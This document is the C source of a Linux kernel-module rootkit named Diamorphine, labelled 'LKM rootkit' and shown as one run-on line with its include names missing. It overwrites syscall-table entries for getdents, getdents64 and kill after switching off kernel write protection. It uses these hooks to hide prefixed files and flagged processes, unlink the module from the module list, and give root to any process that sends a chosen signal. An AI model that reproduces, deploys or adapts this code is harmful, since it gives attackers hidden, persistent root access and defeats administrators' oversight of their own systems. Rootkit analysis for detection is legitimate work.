#include #include #include #include #include #include #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 13, 0) #include #endif #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 10, 0) #include #else #include #endif #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 26) #include #else #include #endif #if LINUX_VERSION_CODE <= KERNEL_VERSION(2, 6, 18) #include #endif #ifndef __NR_getdents #define __NR_getdents 141 #endif #include "diamorphine.h" #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64) unsigned long cr0; #elif IS_ENABLED(CONFIG_ARM64) void (*update_mapping_prot)(phys_addr_t phys, unsigned long virt, phys_addr_t size, pgprot_t prot); unsigned long start_rodata; unsigned long init_begin; #define section_size init_begin - start_rodata #endif static unsigned long *__sys_call_table; #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) typedef asmlinkage long (*t_syscall)(const struct pt_regs *); static t_syscall orig_getdents; static t_syscall orig_getdents64; static t_syscall orig_kill; #else typedef asmlinkage int (*orig_getdents_t)(unsigned int, struct linux_dirent *, unsigned int); typedef asmlinkage int (*orig_getdents64_t)(unsigned int, struct linux_dirent64 *, unsigned int); typedef asmlinkage int (*orig_kill_t)(pid_t, int); orig_getdents_t orig_getdents; orig_getdents64_t orig_getdents64; orig_kill_t orig_kill; #endif unsigned long * get_syscall_table_bf(void) { unsigned long *syscall_table; #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 4, 0) #ifdef KPROBE_LOOKUP typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); kallsyms_lookup_name_t kallsyms_lookup_name; register_kprobe(&kp); kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; unregister_kprobe(&kp); #endif syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table"); return syscall_table; #else unsigned long int i; for (i = (unsigned long int)sys_close; i < ULONG_MAX; i += sizeof(void *)) { syscall_table = (unsigned long *)i; if (syscall_table[__NR_close] == (unsigned long)sys_close) return syscall_table; } return NULL; #endif } struct task_struct * find_task(pid_t pid) { struct task_struct *p = current; for_each_process(p) { if (p->pid == pid) return p; } return NULL; } int is_invisible(pid_t pid) { struct task_struct *task; if (!pid) return 0; task = find_task(pid); if (!task) return 0; if (task->flags & PF_INVISIBLE) return 1; return 0; } #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) static asmlinkage long hacked_getdents64(const struct pt_regs *pt_regs) { #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64) int fd = (int) pt_regs->di; struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si; #elif IS_ENABLED(CONFIG_ARM64) int fd = (int) pt_regs->regs[0]; struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->regs[1]; #endif int ret = orig_getdents64(pt_regs), err; #else asmlinkage int hacked_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent, unsigned int count) { int ret = orig_getdents64(fd, dirent, count), err; #endif unsigned short proc = 0; unsigned long off = 0; struct linux_dirent64 *dir, *kdirent, *prev = NULL; struct inode *d_inode; if (ret <= 0) return ret; kdirent = kzalloc(ret, GFP_KERNEL); if (kdirent == NULL) return ret; err = copy_from_user(kdirent, dirent, ret); if (err) goto out; #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0) d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode; #else d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode; #endif if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev) /*&& MINOR(d_inode->i_rdev) == 1*/) proc = 1; while (off < ret) { dir = (void *)kdirent + off; if ((!proc && (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0)) || (proc && is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) { if (dir == kdirent) { ret -= dir->d_reclen; memmove(dir, (void *)dir + dir->d_reclen, ret); continue; } prev->d_reclen += dir->d_reclen; } else prev = dir; off += dir->d_reclen; } err = copy_to_user(dirent, kdirent, ret); if (err) goto out; out: kfree(kdirent); return ret; } #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) static asmlinkage long hacked_getdents(const struct pt_regs *pt_regs) { #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64) int fd = (int) pt_regs->di; struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si; #elif IS_ENABLED(CONFIG_ARM64) int fd = (int) pt_regs->regs[0]; struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->regs[1]; #endif int ret = orig_getdents(pt_regs), err; #else asmlinkage int hacked_getdents(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count) { int ret = orig_getdents(fd, dirent, count), err; #endif unsigned short proc = 0; unsigned long off = 0; struct linux_dirent *dir, *kdirent, *prev = NULL; struct inode *d_inode; if (ret <= 0) return ret; kdirent = kzalloc(ret, GFP_KERNEL); if (kdirent == NULL) return ret; err = copy_from_user(kdirent, dirent, ret); if (err) goto out; #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0) d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode; #else d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode; #endif if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev) /*&& MINOR(d_inode->i_rdev) == 1*/) proc = 1; while (off < ret) { dir = (void *)kdirent + off; if ((!proc && (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0)) || (proc && is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) { if (dir == kdirent) { ret -= dir->d_reclen; memmove(dir, (void *)dir + dir->d_reclen, ret); continue; } prev->d_reclen += dir->d_reclen; } else prev = dir; off += dir->d_reclen; } err = copy_to_user(dirent, kdirent, ret); if (err) goto out; out: kfree(kdirent); return ret; } void give_root(void) { #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29) current->uid = current->gid = 0; current->euid = current->egid = 0; current->suid = current->sgid = 0; current->fsuid = current->fsgid = 0; #else struct cred *newcreds; newcreds = prepare_creds(); if (newcreds == NULL) return; #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 5, 0) \ && defined(CONFIG_UIDGID_STRICT_TYPE_CHECKS) \ || LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0) newcreds->uid.val = newcreds->gid.val = 0; newcreds->euid.val = newcreds->egid.val = 0; newcreds->suid.val = newcreds->sgid.val = 0; newcreds->fsuid.val = newcreds->fsgid.val = 0; #else newcreds->uid = newcreds->gid = 0; newcreds->euid = newcreds->egid = 0; newcreds->suid = newcreds->sgid = 0; newcreds->fsuid = newcreds->fsgid = 0; #endif commit_creds(newcreds); #endif } static inline void tidy(void) { kfree(THIS_MODULE->sect_attrs); THIS_MODULE->sect_attrs = NULL; } static struct list_head *module_previous; static short module_hidden = 0; void module_show(void) { list_add(&THIS_MODULE->list, module_previous); module_hidden = 0; } void module_hide(void) { module_previous = THIS_MODULE->list.prev; list_del(&THIS_MODULE->list); module_hidden = 1; } #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) asmlinkage int hacked_kill(const struct pt_regs *pt_regs) { #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64) pid_t pid = (pid_t) pt_regs->di; int sig = (int) pt_regs->si; #elif IS_ENABLED(CONFIG_ARM64) pid_t pid = (pid_t) pt_regs->regs[0]; int sig = (int) pt_regs->regs[1]; #endif #else asmlinkage int hacked_kill(pid_t pid, int sig) { #endif struct task_struct *task; switch (sig) { case SIGINVIS: if ((task = find_task(pid)) == NULL) return -ESRCH; task->flags ^= PF_INVISIBLE; break; case SIGSUPER: give_root(); break; case SIGMODINVIS: if (module_hidden) module_show(); else module_hide(); break; default: #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) return orig_kill(pt_regs); #else return orig_kill(pid, sig); #endif } return 0; } #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) static inline void write_cr0_forced(unsigned long val) { unsigned long __force_order; asm volatile( "mov %0, %%cr0" : "+r"(val), "+m"(__force_order)); } #endif static inline void protect_memory(void) { #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64) #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) write_cr0_forced(cr0); #else write_cr0(cr0); #endif #elif IS_ENABLED(CONFIG_ARM64) update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata, section_size, PAGE_KERNEL_RO); #endif } static inline void unprotect_memory(void) { #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64) #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) write_cr0_forced(cr0 & ~0x00010000); #else write_cr0(cr0 & ~0x00010000); #endif #elif IS_ENABLED(CONFIG_ARM64) update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata, section_size, PAGE_KERNEL); #endif } static int __init diamorphine_init(void) { __sys_call_table = get_syscall_table_bf(); if (!__sys_call_table) return -1; #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64) cr0 = read_cr0(); #elif IS_ENABLED(CONFIG_ARM64) update_mapping_prot = (void *)kallsyms_lookup_name("update_mapping_prot"); start_rodata = (unsigned long)kallsyms_lookup_name("__start_rodata"); init_begin = (unsigned long)kallsyms_lookup_name("__init_begin"); #endif module_hide(); tidy(); #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) orig_getdents = (t_syscall)__sys_call_table[__NR_getdents]; orig_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64]; orig_kill = (t_syscall)__sys_call_table[__NR_kill]; #else orig_getdents = (orig_getdents_t)__sys_call_table[__NR_getdents]; orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64]; orig_kill = (orig_kill_t)__sys_call_table[__NR_kill]; #endif unprotect_memory(); __sys_call_table[__NR_getdents] = (unsigned long) hacked_getdents; __sys_call_table[__NR_getdents64] = (unsigned long) hacked_getdents64; __sys_call_table[__NR_kill] = (unsigned long) hacked_kill; protect_memory(); return 0; } static void __exit diamorphine_cleanup(void) { unprotect_memory(); __sys_call_table[__NR_getdents] = (unsigned long) orig_getdents; __sys_call_table[__NR_getdents64] = (unsigned long) orig_getdents64; __sys_call_table[__NR_kill] = (unsigned long) orig_kill; protect_memory(); } module_init(diamorphine_init); module_exit(diamorphine_cleanup); MODULE_LICENSE("Dual BSD/GPL"); MODULE_AUTHOR("m0nad"); MODULE_DESCRIPTION("LKM rootkit");